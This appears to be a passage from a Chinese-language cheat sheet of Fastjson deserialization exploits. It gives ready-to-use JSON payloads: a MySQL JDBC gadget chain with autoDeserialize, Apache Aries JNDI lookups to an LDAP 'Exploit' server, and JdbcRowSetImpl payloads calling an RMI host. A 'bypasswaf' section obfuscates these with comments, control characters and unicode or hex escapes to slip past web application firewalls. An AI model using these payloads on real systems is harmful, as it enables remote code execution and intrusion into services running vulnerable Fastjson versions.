{"@type":"java.lang.AutoCloseable","@type":"com.mysql.cj.jdbc.ha.ReplicationMySQLConnection","proxy":{"@type":"com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy","connectionUrl":{"@type":"com.mysql.cj.conf.url.ReplicationConnectionUrl", "masters": [{"host":"mysql.host"}], "slaves":[], "properties":{"host":"mysql.host","user":"user","dbname":"dbname","password":"pass","queryInterceptors":"com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor","autoDeserialize":"true"}}}}
```



### fastjson未知版本
待探索

```java
{"@type":"org.apache.aries.transaction.jms.RecoverablePooledConnectionFactory", "tmJndiName": "ldap://localhost:1389/Exploit", "tmFromJndi": true, "transactionManager": {"$ref":"$.transactionManager"}}

{"@type":"org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory", "tmJndiName": "ldap://localhost:1389/Exploit", "tmFromJndi": true, "transactionManager": {"$ref":"$.transactionManager"}}
```







## bypasswaf

Fastjson默认会去除键、值外的空格、`\b`、`\n`、`\r`、`\f`等，同时还会自动将键与值进行unicode与十六进制解码。

```java
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://10.251.0.111:9999","autoCommit":true}

{  "@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://10.251.0.111:9999","autoCommit":true}

{/*s6*/"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://10.251.0.111:9999","autoCommit":true}

{\n"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://10.251.0.111:9999","autoCommit":true}

{"@type"\b:"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://10.251.0.111:9999","autoCommit":true}

{"\u0040\u0074\u0079\u0070\u0065":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://10.251.0.111:9999","autoCommit":true}  {"\x40\x74\x79\x70\x65":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://10.251.0.111:9999","autoCommit":true}
```

参考链接

• Fastjson系列三——历史版本补丁绕过（需开启AutoType）
• Fastjson反序列化漏洞分析
• Fastjson 反序列化漏洞史
• FastJson 反序列化学习